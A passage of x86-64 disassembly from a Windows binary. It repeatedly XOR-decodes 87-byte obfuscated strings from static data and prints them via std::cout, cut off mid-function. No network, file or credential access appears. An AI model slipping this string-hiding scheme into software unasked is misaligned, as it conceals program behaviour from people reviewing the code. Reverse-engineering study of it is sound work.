pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add r8d, 8
lea rdx, [rdx + 8]
cmp r8d, 0x50
jl 0x1400321a0
cmp r8d, 0x57
jge 0x1400322d0
movsxd rax, r8d
lea r9, [rbp + 0xb70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x57
jl 0x1400322a0
lea rdx, [rbp + 0xb70]
mov rcx, r10
call fcn.14003e360
lea rdx, [0x14003ea60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x14004b390]
movups xmm0, xmmword [0x14004b340]
mov dword [rbp + 0xc20], eax
movups xmmword [rbp + 0xbd0], xmm0
movzx eax, word [0x14004b394]
movups xmm0, xmmword [0x14004b360]
movups xmm1, xmmword [0x14004b350]
mov word [rbp + 0xc24], ax
movups xmmword [rbp + 0xbf0], xmm0
movups xmmword [rbp + 0xbe0], xmm1
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14004b396]
movups xmm0, xmmword [0x14004b380]
movups xmm1, xmmword [0x14004b370]
mov r10, r9
mov byte [rbp + 0xc26], al
movups xmmword [rbp + 0xc10], xmm0
movups xmmword [rbp + 0xc00], xmm1
xor ecx, ecx
cmp r13d, 2
jl 0x140032470
movdqa xmmword [rbp + 0x70], xmm10
lea rdx, [rbp + 0xbd4]
mov r8d, dword [rbp + 0x70]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x140032383
cmp ecx, 0x57
jl 0x140032470
mov rcx, r9
jmp 0x1400324af
movsxd rax, ecx
lea r8, [rbp + 0xbd0]
add r8, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x57
jl 0x140032480
mov rcx, r10
lea rdx, [rbp + 0xbd0]
call fcn.14003e360
lea rdx, [0x14003ea60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x14004bd00]
movups xmm0, xmmword [0x14004bcb0]
mov dword [rbp + 0xc80], eax
movups xmmword [rbp + 0xc30], xmm0
movzx eax, word [0x14004bd04]
movups xmm0, xmmword [0x14004bcd0]
movups xmm1, xmmword [0x14004bcc0]
mov word [rbp + 0xc84], ax
movups xmmword [rbp + 0xc50], xmm0
movups xmmword [rbp + 0xc40], xmm1
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14004bd06]
movups xmm0, xmmword [0x14004bcf0]
movups xmm1, xmmword [0x14004bce0]
mov r10, r9
mov byte [rbp + 0xc86], al
movups xmmword [rbp + 0xc70], xmm0
movups xmmword [rbp + 0xc60], xmm1
xor ecx, ecx
cmp r13d, 2
jl 0x14003264d
movdqa xmmword [rbp + 0x70], xmm10
lea rdx, [rbp + 0xc34]
mov r8d, dword [rbp + 0x70]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x140032560
cmp ecx, 0x57
jl 0x14003264d
mov rcx, r9
jmp 0x14003268f
movsxd rax, ecx
lea r8, [rbp + 0xc30]
add r8, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x57
jl 0x140032660
mov rcx, r10
lea rdx, [rbp + 0xc30]
call fcn.14003e360
lea rdx, [0x14003ea60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x14004c420]
movups xmm0, xmmword [0x14004c3d0]
mov dword [rbp + 0xce0], eax
movups xmmword [rbp + 0xc90], xmm0
movzx eax, word [0x14004c424]
movups xmm0, xmmword [0x14004c3f0]
movups xmm1, xmmword [0x14004c3e0]
mov word [rbp + 0xce4], ax
movups xmmword [rbp + 0xcb0], xmm0
movups xmmword [rbp + 0xca0], xmm1
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14004c426]
movups xmm0, xmmword [0x14004c410]
movups xmm1, xmmword [0x14004c400]
mov r10, r9
mov byte [rbp + 0xce6], al
movups xmmword [rbp + 0xcd0], xmm0
movups xmmword [rbp + 0xcc0], xmm1
xor ecx, ecx
cmp r13d, 2
jl 0x14003282d
movdqa xmmword [rbp + 0x70], xmm10
lea rdx, [rbp + 0xc94]
mov r8d, dword [rbp + 0x70]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x140032740
cmp ecx, 0x57
jl 0x14003282d
mov rcx, r9
jmp 0x14003286f
movsxd rax, ecx
lea r8, [rbp + 0xc90]
add r8, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x57
jl 0x140032840
mov rcx, r10
lea rdx, [rbp + 0xc90]
call fcn.14003e360
lea rdx, [0x14003ea60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x14004bda0]
movups xmm0, xmmword [0x14004bd50]
mov dword [rbp + 0xd40], eax
movups xmmword [rbp + 0xcf0], xmm0
movzx eax, word [0x14004bda4]
movups xmm0, xmmword [0x14004bd70]
movups xmm1, xmmword [0x14004bd60]
mov word [rbp + 0xd44], ax
movups xmmword [rbp + 0xd10], xmm0
movups xmmword [rbp + 0xd00], xmm1
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14004bda6]
movups xmm0, xmmword [0x14004bd90]
movups xmm1, xmmword [0x14004bd80]
mov r10, r9
mov byte [rbp + 0xd46], al
movups xmmword [rbp + 0xd30], xmm0
movups xmmword [rbp + 0xd20], xmm1
xor ecx, ecx
cmp r13d, 2
jl 0x140032a0d
movdqa xmmword [rbp + 0x70], xmm10
lea rdx, [rbp + 0xcf4]
mov r8d, dword [rbp + 0x70]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x140032920
cmp ecx, 0x57
jl 0x140032a0d
mov rcx, r9
jmp 0x140032a4f
movsxd rax, ecx
lea r8, [rbp + 0xcf0]
add r8, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x57
jl 0x140032a20
mov rcx, r10
lea rdx, [rbp + 0xcf0]
call fcn.14003e360
lea rdx, [0x14003ea60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x14004c770]
movups xmm0, xmmword [0x14004c720]
mov dword [rbp + 0xda0], eax
movups xmmword [rbp + 0xd50], xmm0
movzx eax, word [0x14004c774]
movups xmm0, xmmword [0x14004c740]
movups xmm1, xmmword [0x14004c730]
mov word [rbp + 0xda4], ax
movups xmmword [rbp + 0xd70], xmm0
movups xmmword [rbp + 0xd60], xmm1
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14004c776]
movups xmm0, xmmword [0x14004c760]
movups xmm1, xmmword [0x14004c750]
mov r10, r9
mov byte [rbp + 0xda6], al
movups xmmword [rbp + 0xd90], xmm0
movups xmmword [rbp + 0xd80], xmm1
xor ecx, ecx
cmp r13d, 2
jl 0x140032bed
movdqa xmmword [rbp + 0x70], xmm10
lea rdx, [rbp + 0xd54]
mov r8d, dword [rbp + 0x70]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x140032b00
cmp ecx, 0x57
jl 0x140032bed
mov rcx, r9
jmp 0x140032c2f
movsxd rax, ecx
lea r8, [rbp + 0xd50]
add r8, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x57
jl 0x140032c00
mov rcx, r10
lea rdx, [rbp + 0xd50]
call fcn.14003e360
lea rdx, [0x14003ea60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x14004c5a0]
movups xmm0, xmmword [0x14004c550]
mov dword [rbp + 0xe00], eax
movups xmmword [rbp + 0xdb0], xmm0
movzx eax, word [0x14004c5a4]
movups xmm0, xmmword [0x14004c570]
movups xmm1, xmmword [0x14004c560]
mov word [rbp + 0xe04], ax
movups xmmword [rbp + 0xdd0], xmm0
movups xmmword [rbp + 0xdc0], xmm1
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14004c5a6]
movups xmm0, xmmword [0x14004c590]
movups xmm1, xmmword [0x14004c580]
mov r10, r9
mov byte [rbp + 0xe06], al
movups xmmword [rbp + 0xdf0], xmm0
movups xmmword [rbp + 0xde0], xmm1
xor ecx, ecx
cmp r13d, 2
jl 0x140032dcd
movdqa xmmword [rbp + 0x70], xmm10
lea rdx, [rbp + 0xdb4]
mov r8d, dword [rbp + 0x70]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x140032ce0
movsxd rax, ecx
lea r8, [rbp + 0xdb0]
add r8, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x57
jl 0x140032de0